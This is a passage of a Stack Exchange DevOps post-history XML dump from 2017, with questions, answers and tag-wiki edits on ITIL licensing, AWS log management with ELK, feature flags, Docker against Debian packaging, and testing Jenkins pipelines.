applied by an organization for establishing integration with the organization's strategy, delivering value, and maintaining a minimum level of competency. It allows the organization to establish a baseline from which it can plan, implement, and measure. It is used to demonstrate compliance and to measure improvement.&#xD;&#xA;&#xD;&#xA;&gt; Since July 2013, ITIL has been owned by AXELOS, a joint venture between Capita and the Cabinet Office. AXELOS licenses organisations to use the ITIL intellectual property, accredits licensed examination institutes, and manages updates to the framework. Organizations that wish to implement ITIL internally do not require this license.&#xD;&#xA;&#xD;&#xA;All of that sounds really exciting, but because of the licensing there's no way for me to build open source software based on this.  If you [search for ITIL in github](https://github.com/search?utf8=%E2%9C%93&amp;q=itil&amp;type=) the results are very sparse.  Until the licensing model changes I think we're stuck with this state of affairs.  Unless W3C or the IETF takes up this sort of challenge there won't be a standard which is available to the community." ContentLicense="CC BY-SA 3.0" />
  <row Id="5849" PostHistoryTypeId="2" PostId="1857" RevisionGUID="db563d68-05bb-4d6a-8110-48ca84a838fc" CreationDate="2017-08-27T08:04:01.710" UserId="4100" Text="We currently have some ruby applications hosted on EC2 servers on AWS, and every few weeks we see the disk space get completely consumed by the app log as well as the worker logs.&#xD;&#xA;&#xD;&#xA;What are the best practices regarding log storage for a cloud hosted environment such as ours? We've considered log rotation, pushing the logs to CloudWatch or simply truncating log files.&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="5850" PostHistoryTypeId="1" PostId="1857" RevisionGUID="db563d68-05bb-4d6a-8110-48ca84a838fc" CreationDate="2017-08-27T08:04:01.710" UserId="4100" Text="Ideal methods of handling server logs on AWS" ContentLicense="CC BY-SA 3.0" />
  <row Id="5851" PostHistoryTypeId="3" PostId="1857" RevisionGUID="db563d68-05bb-4d6a-8110-48ca84a838fc" CreationDate="2017-08-27T08:04:01.710" UserId="4100" Text="&lt;amazon-web-services&gt;&lt;amazon-ec2&gt;&lt;logging&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="5852" PostHistoryTypeId="50" PostId="292" RevisionGUID="d3ea3c02-17b6-4d68-bd13-8d579a5e55ef" CreationDate="2017-08-27T09:21:25.060" UserId="-1" />
  <row Id="5853" PostHistoryTypeId="2" PostId="1858" RevisionGUID="48689e6f-ce8f-4f9b-b222-c2254c62aba6" CreationDate="2017-08-27T10:10:33.317" UserId="210" Text="Also check the content of the log files and ask &quot;is this relevant logging&quot;? Sometimes, complete stack traces are logged. If this is the case, what is causing this and how to suppress it? Some apps define several log levels. If the app is running without issues, just set the log level to normal. If there are issues, change it to debug for a short moment.&#xD;&#xA;&#xD;&#xA;If finetuning the logging does not help, then introduce log rotation or keep the logs for only one month, but the first thing I would do is inspecting the log and see whether there is superfluous information that could be removed by modifying the code." ContentLicense="CC BY-SA 3.0" />
  <row Id="5854" PostHistoryTypeId="2" PostId="1859" RevisionGUID="27331970-db0d-4ebe-9041-a687ecc35619" CreationDate="2017-08-27T11:39:51.367" UserId="3869" Text="I like to use ELK, [Elasticsearch][1], [Logstash][2] and [Kibana][3] with [Beats][4].&#xD;&#xA;&#xD;&#xA;[Filebeat][5], that belongs to Beats series will forward the logs that read from a file to logstash.&#xD;&#xA;&#xD;&#xA;In logstash you could tag, filter, parse and modify the log entries that are stored in Elasticsearch.&#xD;&#xA;&#xD;&#xA;For visualizing you can use Kibana. You can create a great dashboards based on the logs with all the information that really gives value to your business&#xD;&#xA;&#xD;&#xA;If you don't want to install agents, you can forward logs using rsyslog directly but with al beats series you could get more in deep information rather than simply logs.&#xD;&#xA;&#xD;&#xA;This ELK suite could give you much control over your application but you must maintain it&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://www.elastic.co/products/elasticsearch&#xD;&#xA;  [2]: https://www.elastic.co/products/logstash&#xD;&#xA;  [3]: https://www.elastic.co/products/kibana&#xD;&#xA;  [4]: https://www.elastic.co/products/beats&#xD;&#xA;  [5]: https://www.elastic.co/products/beats/filebeat" ContentLicense="CC BY-SA 3.0" />
  <row Id="5855" PostHistoryTypeId="5" PostId="638" RevisionGUID="d7e8b474-485c-42f0-8708-91cd0b5efb82" CreationDate="2017-08-27T16:40:52.130" UserId="1132" Comment="http -&gt; https" Text="Feature flags are a technique applied by Software Engineers to code bases, allowing teams to modify system behaviour without changing code.  Feature flags are one of the techniques used to separate the activity of deployment from the activity of release.&#xD;&#xA;&#xD;&#xA;Feature flags are closely related to the concept of [tag:feature-toggles].&#xD;&#xA;&#xD;&#xA;Further Reading:&#xD;&#xA;&#xD;&#xA; - [Martin Fowler's Article: Feature Toggles][1]&#xD;&#xA; - [DevOps StackExchange: What's the difference between Feature Flags and Feature Toggles][2]&#xD;&#xA; - [Launch Darkly's Article: Feature Flags][3]&#xD;&#xA; - [StackOverflow: What is a &quot;feature flag&quot;?][4]&#xD;&#xA; - [Etsy's implementation of Feature Flagging][5]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://martinfowler.com/articles/feature-toggles.html&#xD;&#xA;  [2]: https://devops.stackexchange.com/q/383/397&#xD;&#xA;  [3]: https://launchdarkly.com/featureflags.html&#xD;&#xA;  [4]: https://stackoverflow.com/q/7707383/74302&#xD;&#xA;  [5]: https://github.com/etsy/feature" ContentLicense="CC BY-SA 3.0" />
  <row Id="5856" PostHistoryTypeId="24" PostId="638" RevisionGUID="d7e8b474-485c-42f0-8708-91cd0b5efb82" CreationDate="2017-08-27T16:40:52.130" Comment="Proposed by 1132 approved by 47, 40 edit id of 420" ContentLicense="CC BY-SA 3.0" />
  <row Id="5857" PostHistoryTypeId="5" PostId="866" RevisionGUID="fbc42398-b1b0-4a50-9136-b8023a9d1f5e" CreationDate="2017-08-27T16:40:56.733" UserId="1132" Comment="http -&gt; https" Text="Before posting a question about Software Quality Assurance and testing, consider if it would be more appropriate on [Software Quality Assurance Stack Exchange][1].&#xD;&#xA;&#xD;&#xA;From [Wikipedia][2]:&#xD;&#xA;&#xD;&#xA;&gt; **Software testing** is an investigation conducted to provide developers and stakeholders with information about the quality of the product or service under test. Software testing can also provide an objective, independent view of the software to allow the business to appreciate and understand the risks of software implementation. &#xD;&#xA;&#xD;&#xA;## Further Reading&#xD;&#xA;&#xD;&#xA; - [Agile software development][3]&#xD;&#xA; - [Test-driven development][4]&#xD;&#xA; - [Book: Test Driven Infrastructure with Chef][5]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://sqa.stackexchange.com/&#xD;&#xA;  [2]: https://en.wikipedia.org/wiki/Software_testing&#xD;&#xA;  [3]: https://en.wikipedia.org/wiki/Agile_software_development&#xD;&#xA;  [4]: https://en.wikipedia.org/wiki/Test-driven_development&#xD;&#xA;  [5]: https://www.amazon.co.uk/Test-Driven-Infrastructure-Chef-Stephen-Nelson-Smith/dp/1449304818" ContentLicense="CC BY-SA 3.0" />
  <row Id="5858" PostHistoryTypeId="24" PostId="866" RevisionGUID="fbc42398-b1b0-4a50-9136-b8023a9d1f5e" CreationDate="2017-08-27T16:40:56.733" Comment="Proposed by 1132 approved by 47, 40 edit id of 417" ContentLicense="CC BY-SA 3.0" />
  <row Id="5859" PostHistoryTypeId="5" PostId="854" RevisionGUID="e07ff00d-5346-4485-917c-e9d237abd6f7" CreationDate="2017-08-27T16:41:00.957" UserId="1132" Comment="http -&gt; https" Text="Automation is a key skill in the &quot;DevOps Toolkit&quot; by automating a process we are able to:&#xD;&#xA;&#xD;&#xA; - Increase throughput&#xD;&#xA; - [Decrease toil][1]&#xD;&#xA; - Reduce the incidence of errors&#xD;&#xA;&#xD;&#xA;Automation is a part of DevOps [but it is not the full story][2]; when we automate a process we make it reliable and repeatable and thus we can run the process regularly.&#xD;&#xA;&#xD;&#xA;  [1]: https://medium.com/production-ready/toil-a-word-every-engineer-should-know-f0b676e41c86&#xD;&#xA;  [2]: https://devops.stackexchange.com/questions/3/whats-the-difference-between-devops-and-automation" ContentLicense="CC BY-SA 3.0" />
  <row Id="5860" PostHistoryTypeId="24" PostId="854" RevisionGUID="e07ff00d-5346-4485-917c-e9d237abd6f7" CreationDate="2017-08-27T16:41:00.957" Comment="Proposed by 1132 approved by 47, 40 edit id of 416" ContentLicense="CC BY-SA 3.0" />
  <row Id="5861" PostHistoryTypeId="5" PostId="856" RevisionGUID="a6fecce1-348e-466b-9022-dd5905f85f3b" CreationDate="2017-08-27T16:41:05.097" UserId="1132" Comment="http -&gt; https" Text="[AWS Lambda][1] is part of Amazon Web Services (AWS).  Lambda is a [serverless][2] platform allowing developers to write functions which are scaled, monitored and managed by Amazon.  Use this tag to describe questions which use Lambda or [Lambda@Edge][3].&#xD;&#xA;&#xD;&#xA;## Further Reading&#xD;&#xA;&#xD;&#xA; - [AWS Lambda Documentation][4]&#xD;&#xA; - [Book: Aws Lambda in Action by Danilo Poccia][5]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://aws.amazon.com/lambda/&#xD;&#xA;  [2]: https://devops.stackexchange.com/questions/61/what-is-serverless&#xD;&#xA;  [3]: http://docs.aws.amazon.com/lambda/latest/dg/lambda-edge.html&#xD;&#xA;  [4]: http://docs.aws.amazon.com/lambda/latest/dg/welcome.html&#xD;&#xA;  [5]: https://www.amazon.co.uk/Aws-Lambda-Action-Danilo-Poccia/dp/1617293717/" ContentLicense="CC BY-SA 3.0" />
  <row Id="5862" PostHistoryTypeId="24" PostId="856" RevisionGUID="a6fecce1-348e-466b-9022-dd5905f85f3b" CreationDate="2017-08-27T16:41:05.097" Comment="Proposed by 1132 approved by 47, 40 edit id of 419" ContentLicense="CC BY-SA 3.0" />
  <row Id="5863" PostHistoryTypeId="5" PostId="858" RevisionGUID="2a656f94-ff2f-4e5d-a426-25aaa534ee3e" CreationDate="2017-08-27T16:41:08.603" UserId="1132" Comment="http -&gt; https" Text="GNU/Linux is a UNIX-like Open Source operating system.  [Linus Torvalds][1] originally wrote the Linux kernel with contributions from others on the MINIX Usenet board.  Since then, Linux had thousands of developers, both paid by companies and volunteers.  The primary system tools and libraries sourced from [GNU Project][2], hence the nomenclature GNU/Linux (GNU Toolchain over Linux Kernel). The license for the Linux kernel the [GPL v2][3] license.&#xD;&#xA;&#xD;&#xA;There are many different [Linux Distributions][4] (sometimes shortened to *distro*), which consist of software applications packaged and provided with the Linux kernel, being [Slackware][5] the oldest active distro and [Debian][6], [Red Hat][7] and [CentOS][8] among the most used on Internet servers[¹][9].&#xD;&#xA;&#xD;&#xA;The Linux kernel is commonly run on servers but is highly portable and used in a variety of applications, from wireless routers and cell phones to clusters and supercomputers with thousands of nodes and processors.&#xD;&#xA;&#xD;&#xA;For generic Linux questions, consider asking at [Unix &amp; Linux Stack Exchange](https://unix.stackexchange.com/).&#xD;&#xA;&#xD;&#xA;##Further Reading:&#xD;&#xA; - [Wikipedia on Linux][10]&#xD;&#xA; - [Linux Tag on Server Fault][11] &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://en.wikipedia.org/wiki/Linus_Torvalds&#xD;&#xA;  [2]: https://en.wikipedia.org/wiki/GNU_Project&#xD;&#xA;  [3]: http://www.gnu.org/licenses/gpl-2.0.html&#xD;&#xA;  [4]: https://en.wikipedia.org/wiki/Linux_distributions&#xD;&#xA;  [5]: http://www.slackware.com&#xD;&#xA;  [6]: https://debian.org&#xD;&#xA;  [7]: https://www.redhat.com&#xD;&#xA;  [8]: https://www.centos.org/&#xD;&#xA;  [9]: http://w3techs.com/technologies/history_details/os-linux/all/y&#xD;&#xA;  [10]: https://en.wikipedia.org/wiki/Linux&#xD;&#xA;  [11]: https://serverfault.com/questions/tagged/linux" ContentLicense="CC BY-SA 3.0" />
  <row Id="5864" PostHistoryTypeId="24" PostId="858" RevisionGUID="2a656f94-ff2f-4e5d-a426-25aaa534ee3e" CreationDate="2017-08-27T16:41:08.603" Comment="Proposed by 1132 approved by 47, 40 edit id of 418" ContentLicense="CC BY-SA 3.0" />
  <row Id="5865" PostHistoryTypeId="2" PostId="1860" RevisionGUID="d08ef011-b109-47e5-acf1-edeca6526a27" CreationDate="2017-08-27T19:50:04.470" UserId="3602" Text="Completely agree with RuBiCK's answer.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;I handle logs of 3 servers. We keep only really important logs in the system. Rest are pushed instantly to elasticsearch database. &#xD;&#xA;&#xD;&#xA;My view is that Using elasticsearch would be beneficial than log rotation as you can keep logs for as much time as you want. And also, you can easily make visualizations and dashboards which can help in faster analysis. It also provides full text search so you can search for any kind of error OR status in your logs instantly.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;I use rsyslog to push logs to elasticsearch. It is really a fast and reliable way to send logs. Moreover, you don't need to add any agents in your system.&#xD;&#xA;&#xD;&#xA;Here is link which can help you. &#xD;&#xA;https://sematext.com/blog/2013/07/01/recipe-rsyslog-elasticsearch-kibana/&#xD;&#xA;&#xD;&#xA;Also, do check what is being logged. Some apps like Rabbitmq store a lot of info in logs." ContentLicense="CC BY-SA 3.0" />
  <row Id="5866" PostHistoryTypeId="5" PostId="151" RevisionGUID="9dea73a8-cb30-4514-93e9-8fef2c5e0622" CreationDate="2017-08-28T02:49:21.683" UserId="60" Comment="http -&gt; https" Text="Docker is an open-source [software container](https://en.wikipedia.org/wiki/Operating-system-level_virtualization) platform written in Go. &#xD;&#xA;&#xD;&#xA;**Resources**&#xD;&#xA;&#xD;&#xA; - [What is Docker?][2]&#xD;&#xA; - [Official documentation][3]&#xD;&#xA; - [Stack Overflow documentation][4]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://www.docker.com/&#xD;&#xA;  [2]: https://www.docker.com/what-docker&#xD;&#xA;  [3]: https://docs.docker.com/&#xD;&#xA;  [4]: https://stackoverflow.com/documentation/docker/topics" ContentLicense="CC BY-SA 3.0" />
  <row Id="5867" PostHistoryTypeId="24" PostId="151" RevisionGUID="9dea73a8-cb30-4514-93e9-8fef2c5e0622" CreationDate="2017-08-28T02:49:21.683" Comment="Proposed by 60 approved by 40, 47 edit id of 421" ContentLicense="CC BY-SA 3.0" />
  <row Id="5868" PostHistoryTypeId="5" PostId="118" RevisionGUID="8891ae0d-289c-4738-ac33-c11f9ab48829" CreationDate="2017-08-28T02:49:25.033" UserId="60" Comment="http -&gt; https" Text="From the [Ansible Documentation][1]:&#xD;&#xA;&#xD;&#xA;&gt; Ansible is an IT automation tool. It can configure systems, deploy&#xD;&#xA;&gt; software, and orchestrate more advanced IT tasks such as continuous&#xD;&#xA;&gt; deployments or zero downtime rolling updates.&#xD;&#xA;&#xD;&#xA;From [Ansible on GitHub][2]:&#xD;&#xA;&#xD;&#xA;&gt; Ansible is a radically simple IT automation platform that makes your&#xD;&#xA;&gt; applications and systems easier to deploy. Avoid writing scripts or&#xD;&#xA;&gt; custom code to deploy and update your applications— automate in a&#xD;&#xA;&gt; language that approaches plain English, using SSH, with no agents to&#xD;&#xA;&gt; install on remote systems.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://docs.ansible.com/ansible/latest/index.html&#xD;&#xA;  [2]: https://github.com/ansible/ansible" ContentLicense="CC BY-SA 3.0" />
  <row Id="5869" PostHistoryTypeId="24" PostId="118" RevisionGUID="8891ae0d-289c-4738-ac33-c11f9ab48829" CreationDate="2017-08-28T02:49:25.033" Comment="Proposed by 60 approved by 40, 47 edit id of 422" ContentLicense="CC BY-SA 3.0" />
  <row Id="5870" PostHistoryTypeId="5" PostId="858" RevisionGUID="182e6423-0934-436c-9a6f-34605eabb839" CreationDate="2017-08-28T02:49:27.790" UserId="60" Comment="http -&gt; https" Text="GNU/Linux is a UNIX-like Open Source operating system.  [Linus Torvalds][1] originally wrote the Linux kernel with contributions from others on the MINIX Usenet board.  Since then, Linux had thousands of developers, both paid by companies and volunteers.  The primary system tools and libraries sourced from [GNU Project][2], hence the nomenclature GNU/Linux (GNU Toolchain over Linux Kernel). The license for the Linux kernel the [GPL v2][3] license.&#xD;&#xA;&#xD;&#xA;There are many different [Linux Distributions][4] (sometimes shortened to *distro*), which consist of software applications packaged and provided with the Linux kernel, being [Slackware][5] the oldest active distro and [Debian][6], [Red Hat][7] and [CentOS][8] among the most used on Internet servers[¹][9].&#xD;&#xA;&#xD;&#xA;The Linux kernel is commonly run on servers but is highly portable and used in a variety of applications, from wireless routers and cell phones to clusters and supercomputers with thousands of nodes and processors.&#xD;&#xA;&#xD;&#xA;For generic Linux questions, consider asking at [Unix &amp; Linux Stack Exchange](https://unix.stackexchange.com/).&#xD;&#xA;&#xD;&#xA;##Further Reading:&#xD;&#xA; - [Wikipedia on Linux][10]&#xD;&#xA; - [Linux Tag on Server Fault][11] &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://en.wikipedia.org/wiki/Linus_Torvalds&#xD;&#xA;  [2]: https://en.wikipedia.org/wiki/GNU_Project&#xD;&#xA;  [3]: https://www.gnu.org/licenses/gpl-2.0.html&#xD;&#xA;  [4]: https://en.wikipedia.org/wiki/Linux_distributions&#xD;&#xA;  [5]: http://www.slackware.com&#xD;&#xA;  [6]: https://debian.org&#xD;&#xA;  [7]: https://www.redhat.com&#xD;&#xA;  [8]: https://www.centos.org/&#xD;&#xA;  [9]: https://w3techs.com/technologies/history_details/os-linux/all/y&#xD;&#xA;  [10]: https://en.wikipedia.org/wiki/Linux&#xD;&#xA;  [11]: https://serverfault.com/questions/tagged/linux" ContentLicense="CC BY-SA 3.0" />
  <row Id="5871" PostHistoryTypeId="24" PostId="858" RevisionGUID="182e6423-0934-436c-9a6f-34605eabb839" CreationDate="2017-08-28T02:49:27.790" Comment="Proposed by 60 approved by 40, 47 edit id of 423" ContentLicense="CC BY-SA 3.0" />
  <row Id="5872" PostHistoryTypeId="2" PostId="1861" RevisionGUID="e91f9458-8a35-40b5-b1ef-9d4e23915adc" CreationDate="2017-08-28T06:04:58.207" UserId="4108" Text="I don't think you will be able to get far without any plugins. What you can take a look at is the *Default Values for 'Create Issue' screen* plugin. We were using it in the past, however gave up because defaults could be set only per issue type, and no other conditions. I was in contact with the supplier, though, and they confirmed that defaults per user and other extensions were on their roadmap. Makes sense to check if they are already available. " ContentLicense="CC BY-SA 3.0" />
  <row Id="5873" PostHistoryTypeId="2" PostId="1862" RevisionGUID="9b1347d7-2150-433d-85aa-cd167bf58431" CreationDate="2017-08-28T07:24:24.703" UserId="3869" Text="I think it could be a good option (further tests are necessary)&#xD;&#xA;&#xD;&#xA;You could provide a URL with all tags/version of the container you have made and the clients will read that URL to see if there is a new version of the container.&#xD;&#xA;&#xD;&#xA;You can store personal files/settings on local and you will never lost that information in upgrades and you will ensure that what you have made and tested will work for everyone in the same way.&#xD;&#xA;&#xD;&#xA;Even you could give the users the possibility to choose which version from the available they want to use (if you want to give that possibility).&#xD;&#xA;&#xD;&#xA;It will be like &quot;&quot;only upgrade one package&quot;&quot;, talking about only retrieve a new version of the container, much better that dealing with debian packages ;)" ContentLicense="CC BY-SA 3.0" />
  <row Id="5874" PostHistoryTypeId="2" PostId="1863" RevisionGUID="0178e0db-ad08-4a8b-ad27-529535c5f0a1" CreationDate="2017-08-28T08:40:47.913" UserId="13" Text="That's still a XY problem IMHO, why do you want an output in  a single line at all ? what's the need for it ? &#xD;&#xA;&#xD;&#xA;If you can't explain more and wish to footgun yourself by replacing newlines with spaces the use `command | tr '\n' ' '` (you'll probably end up loosing the end of the log). &#xD;&#xA;&#xD;&#xA;If your goal if to parse the last line then &#xD;&#xA;&#xD;&#xA;`command | awk '/ok=/ { for (i=3; i &lt; 7; i++) { split($i,a,&quot;=&quot;); printf a[1]&quot;:&quot;a[2]&quot; &quot; } }'` &#xD;&#xA;&#xD;&#xA;will give `ok:3 changed:1 unreachable:0 failed:0` &#xD;&#xA;&#xD;&#xA;This select the lines containing `ok=` and split each `key=value` field (3 to 6) on the `=` char, thus giving the key as first element of array `a` and the value as the second element.&#xD;&#xA;&#xD;&#xA;use `print` instead of `printf` to get each state on separate lines." ContentLicense="CC BY-SA 3.0" />
  <row Id="5875" PostHistoryTypeId="2" PostId="1864" RevisionGUID="298b1c04-dfb7-4377-9a71-9eb14c781b95" CreationDate="2017-08-28T09:17:04.553" UserId="271" Text="While there is some tiny overlapping region Docker and the Debian packaging systems essentially [solve two very different problems](https://devops.stackexchange.com/questions/54/are-there-any-drawbacks-of-using-a-deb-package-as-if-it-was-a-container-to-deplo/274#274):&#xD;&#xA;&#xD;&#xA;* The Debian packaging system is built to install software on a host and upgrade it as easily as possible. It is able to handle complex dependency and constraint patterns between software components, like “software X version A requires software Y with version B or newer installed” or “software X should never be installed with software Z version C”.&#xD;&#xA;&#xD;&#xA;* The Docker system is conceived to easily describe and deploy services, especially micro-services, possibly on several hosts – e.g. a Docker swarm or a Kubernetes cluster.&#xD;&#xA;&#xD;&#xA;These two problems are essentially orthogonal, which means that given the deployment problem to solve, one can use one of them, both of them, or maybe even none of them, as part of the solution.  When using both of them, the Debian package is used in the production of the Docker image, and your Dockerfile (the recipes used to prepare the Docker image describing the “virtualised system” ran in a container) would essentially register your Debian repository in the sources of the Debian packaging system and install your package.&#xD;&#xA;&#xD;&#xA;With this in mind, it seems to me that what you are really looking for is to implement the [immutable server pattern](https://devops.stackexchange.com/questions/412/what-are-immutable-servers). The recent development in cloud technologies made possible to upgrade software not by using the classical software upgrade system from a software package system (such as the Debian packaging system) but rather by simply replacing the full server at once. (Some persons did this before this development by having three OS-s on a server, two used in alternance to run the appliance and a mini-OS dedicated to performing the appliance replacement. While not overly complex, this seems to have always remained a niche.)  This technique can be of interest for you because if you are used to upgrade software on your server using the package manager, the final state of the server depends of the “upgrade history” of the server – especially if errors occur.  This heterogeneity is bad, because it makes production problems hard to reproduce and diagnose, and your mixed experience&#xD;&#xA;&#xD;&#xA;&gt; We have thousands of these boxes out on the field. We manage the package dependencies, process registration, etc. through a deb package with varying degrees of success.&#xD;&#xA;&#xD;&#xA;could relate to this.&#xD;&#xA;&#xD;&#xA;Now there are various options to implement the immutable server pattern, two popular choices are to use Docker images, or to use “master instance images” from your cloud provider (these are called AMIs in AWS and just Custom Images in Google Compute Engine).&#xD;&#xA;&#xD;&#xA;When using this technique, you introduce a new artefact representing your server and this artefact can be tested as well, and it is very easy to obtain a setup replicating truthfully your production settings – aside form service load.&#xD;&#xA;&#xD;&#xA;Now to consider the concrete problem you described, let's answer the two following questions, assuming implementing the immutable server pattern is actually what you want:&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;## Should you package your software as a Debian package?&#xD;&#xA;&#xD;&#xA;The pertinence of using a Debian package to install your software (in the Docker image or on a host) lies in the complexity of the versioning problem you have to solve. If you run at the same time several versions of your software, occasionally need to downgrade, and have complex version requirements that you need to carefully document, having a Debian package is a must-be.  Otherwise, this step can be skipped – but since you already put an effort to produce and deploy these packages, there is no real value into ditching your work. I would therefore suggest continue to produce your Debian packages.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;## Should you use Docker images or master instance images to implement the immutable server pattern?&#xD;&#xA;&#xD;&#xA;The major strength of Docker is the possibility to describe complex service deployments, easy to scale, and spanning on several hosts.  If you are in this scenario, then Docker is definitely the best of the two options.  Otherwise, the two solutions are very comparable but it looks like many cloud providers want to offer services where the instances are essentially blurred away and the user only operates docker containers: instance based workflows are very stable by now and the docker technologies are more in the “bleeding edge” zone, which can also come into your balance." ContentLicense="CC BY-SA 3.0" />
  <row Id="5876" PostHistoryTypeId="2" PostId="1865" RevisionGUID="33f6ccef-f9c8-4231-8d14-b6b1d4888acf" CreationDate="2017-08-28T13:57:56.750" UserId="4108" Text="For a complex, distributed Enterprise system running on premise, I'll be driving an initiative to harness application configuration management. Today we have software delivered by almost 20 various scrum teams with only some coordination, having central and embedded software in Java, .NET, C++ and SQL worlds (MSSQL+Oracle). Creating a consistent system configuration addressing project specific functoinal requirements every time becomes a painful project.&#xD;&#xA;&#xD;&#xA;What I would like to introduce is a type of configuration meta model starting from the business layer (domain of customers, product managers, etc) going down to individual parameters (domain of developers an system engineers). I imagine sth like a web car configurator which in the end generates a consistent configuration. The whole complexity of relations between functionalities (hundreds)  and parameters (tens of thousands) would become explicitly maintained in such a tool.&#xD;&#xA;&#xD;&#xA;Now, are there any off the shelve tools/frameworks supporting sth like this? Gut feeling tells me that adapting any existing solution to a very specific needs of a large enterprise system might actually be more complex than building it by ourselves. " ContentLicense="CC BY-SA 3.0" />
  <row Id="5877" PostHistoryTypeId="1" PostId="1865" RevisionGUID="33f6ccef-f9c8-4231-8d14-b6b1d4888acf" CreationDate="2017-08-28T13:57:56.750" UserId="4108" Text="Application configuration of a complex enterprise system" ContentLicense="CC BY-SA 3.0" />
  <row Id="5878" PostHistoryTypeId="3" PostId="1865" RevisionGUID="33f6ccef-f9c8-4231-8d14-b6b1d4888acf" CreationDate="2017-08-28T13:57:56.750" UserId="4108" Text="&lt;configuration-management&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="5879" PostHistoryTypeId="2" PostId="1866" RevisionGUID="7fd43be8-c8d1-420d-b16a-e56456a08609" CreationDate="2017-08-28T15:06:47.807" UserId="60" Text="Currently, we have a fair number of Jenkins jobs and pipelines for builds, testing, deployments and other automated activities.&#xD;&#xA;&#xD;&#xA;Every time we change or add a new job, we only test it manually - e. g. going over the &quot;happy path&quot; (when job is done with no errors), testing a couple of negative test cases when a job or pipeline fails - checking the error code and notifications.&#xD;&#xA;&#xD;&#xA;This approach clearly is not reliable and does not scale well. How can we improve this process? Is there a place for test automation when it comes to checking how Jenkins jobs and pipelines work?" ContentLicense="CC BY-SA 3.0" />
  <row Id="5880" PostHistoryTypeId="1" PostId="1866" RevisionGUID="7fd43be8-c8d1-420d-b16a-e56456a08609" CreationDate="2017-08-28T15:06:47.807" UserId="60" Text="Testing Jenkins jobs and pipelines" ContentLicense="CC BY-SA 3.0" />
  <row Id="5881" PostHistoryTypeId="3" PostId="1866" RevisionGUID="7fd43be8-c8d1-420d-b16a-e56456a08609" CreationDate="2017-08-28T15:06:47.807" UserId="60" Text="&lt;jenkins&gt;&lt;testing&gt;&lt;automation&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="5882" PostHistoryTypeId="5" PostId="1865" RevisionGUID="083263fb-8e2c-4061-9128-5f593ba814b2" CreationDate="2017-08-28T15:47:52.170" UserId="47" Comment="improved readability" Text="For a complex, distributed Enterprise system running on premise, I'll be driving an initiative to harness application configuration management. Today we have software delivered by almost 20 various scrum teams with only some coordination, having central and embedded software in Java, .NET, C++ and SQL worlds (MSSQL+Oracle). Creating a consistent system configuration addressing project specific functional requirements every time becomes a painful project.&#xD;&#xA;&#xD;&#xA;What I would like to introduce is a type of configuration meta model starting from the business layer (domain of customers, product managers, etc) going down to individual parameters (domain of developers an system engineers). I imagine something like a web car configurator which in the end generates a consistent configuration. The whole complexity of relations between functionalities (hundreds)  and parameters (tens of thousands) would become explicitly maintained in such a tool.&#xD;&#xA;&#xD;&#xA;Now, are there any off the shelve tools/frameworks supporting something like this? Gut feeling tells me that adapting any existing solution to a very specific needs of a large enterprise system might actually be more complex than building it by ourselves. " ContentLicense="CC BY-SA 3.0" />
  <row Id="5884" PostHistoryTypeId="33" PostId="1840" RevisionGUID="b1ed6587-376f-414c-9479-4cac0ff2781a" CreationDate="2017-08-28T18:56:45.680" UserId="60" Comment="6" />
  <row Id="5885" PostHistoryTypeId="2" PostId="1867" RevisionGUID="6c6b6c50-c687-476e-abcd-0d5078a28496" CreationDate="2017-08-28T21:56:04.220" UserId="4115" Text="I'm posting this here not because I endorse this solution (in fact, I've never tried it), but just because it is a potential answer to your question:&#xD;&#xA;&#xD;&#xA;You can start with [JenkinsPipelineUnit](https://github.com/lesfurets/JenkinsPipelineUnit), a unit testing framework for Pipeline scripts.&#xD;&#xA;&#xD;&#xA;I'm not aware of any higher-level (i.e. functional/behavioral) testing frameworks focused on Pipelines.&#xD;&#xA;&#xD;&#xA;See also [this related bug report on the Jenkins JIRA](https://issues.jenkins-ci.org/browse/JENKINS-33925)." ContentLicense="CC BY-SA 3.0" />
  <row Id="5886" PostHistoryTypeId="2" PostId="1868" RevisionGUID="876903eb-19dd-41ec-8878-df2d32c73bd7" CreationDate="2017-08-28T22:04:47.440" UserId="4115" Text="I'm not entirely sure what you're trying to ask in your question, so I'm answering the question I believe you're trying to ask.&#xD;&#xA;&#xD;&#xA;A build does not necessarily have a single commit author.  It has a list of committers, which can be empty or can contain many committers.  To create this list, you can use this snippet in a scripted Pipeline (note that you may need to disable the sandbox in order to use `.collect()`):&#xD;&#xA;&#xD;&#xA;    changeAuthors = currentBuild.changeSets.collect { set -&gt;&#xD;&#xA;      set.collect { entry -&gt; entry.author.fullName }&#xD;&#xA;    }.flatten()&#xD;&#xA;&#xD;&#xA;I use this with Git as my SCM; I'm not sure if it works with other SCMs.&#xD;&#xA;&#xD;&#xA;See also the following questions on StackOverflow (some answers may be outdated):&#xD;&#xA;&#xD;&#xA;* [How to get culprits or committers inside a Jenkins workflow with one or more SCMs](https://stackoverflow.com/questions/30398465/how-to-get-culprits-or-committers-inside-a-jenkins-workflow-with-one-or-more-scm)&#xD;&#xA;* [How do you pull git committer information for Jenkins pipeline](https://stackoverflow.com/questions/37755586/how-do-you-pull-git-committer-information-for-jenkins-pipeline)" ContentLicense="CC BY-SA 3.0" />
